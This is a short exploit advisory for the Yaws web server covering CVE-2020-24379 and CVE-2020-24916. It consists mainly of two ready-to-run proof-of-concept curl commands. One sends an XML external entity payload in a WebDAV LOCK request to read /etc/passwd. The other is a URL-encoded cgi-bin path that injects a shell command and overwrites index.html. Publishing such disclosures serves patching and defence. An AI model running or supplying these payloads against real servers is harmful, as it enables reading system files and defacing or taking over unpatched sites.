Yaws 2.0.7 XML Injection / Command Injection

Yaws versions 1.81 through 2.0.7 suffer from remote OS command injection and XML external entity injection vulnerabilities.

# Exploit Title: Multiple vulnerabilities in Yaws web server
# Date: 2020-08-10
# Exploit Author: Alexey Pronin （vulnbe）
# Vendor Homepage: http://yaws.hyber.org/
# Software Link: https://github.com/erlyaws/yaws
# Versions affected: 1.81 - 2.0.7
# CVE: CVE-2020-24379, CVE-2020-24916

1. Description:
----------------------

Yaws versions 1.81 to 2.0.7 are vulnerable to XXE and OS command injections.

2. XXE injection Proof of Concept (CVE-2020-24379)
----------------------

curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \
  --data-binary @- << EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<d:lockinfo xmlns:d="DAV:">
  <d:lockscope><d:exclusive/></d:lockscope>
  <d:locktype><d:write/></d:locktype>
  <d:owner>
  <d:href><r>&sp;</r></d:href>
  </d:owner>
  </d:lockinfo>
EOF

3. OS command injection Proof of Concept (CVE-2020-24916)
----------------------

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'

4. References
----------------------

* Vulnerability details: https://vuln.be/post/yaws-xxe-and-shell-injections/
* XXE injection PoC: https://github.com/vulnbe/poc-yaws-dav-xxe)
* Shell injection PoC: https://github.com/vulnbe/poc-yaws-cgi-shell-injection

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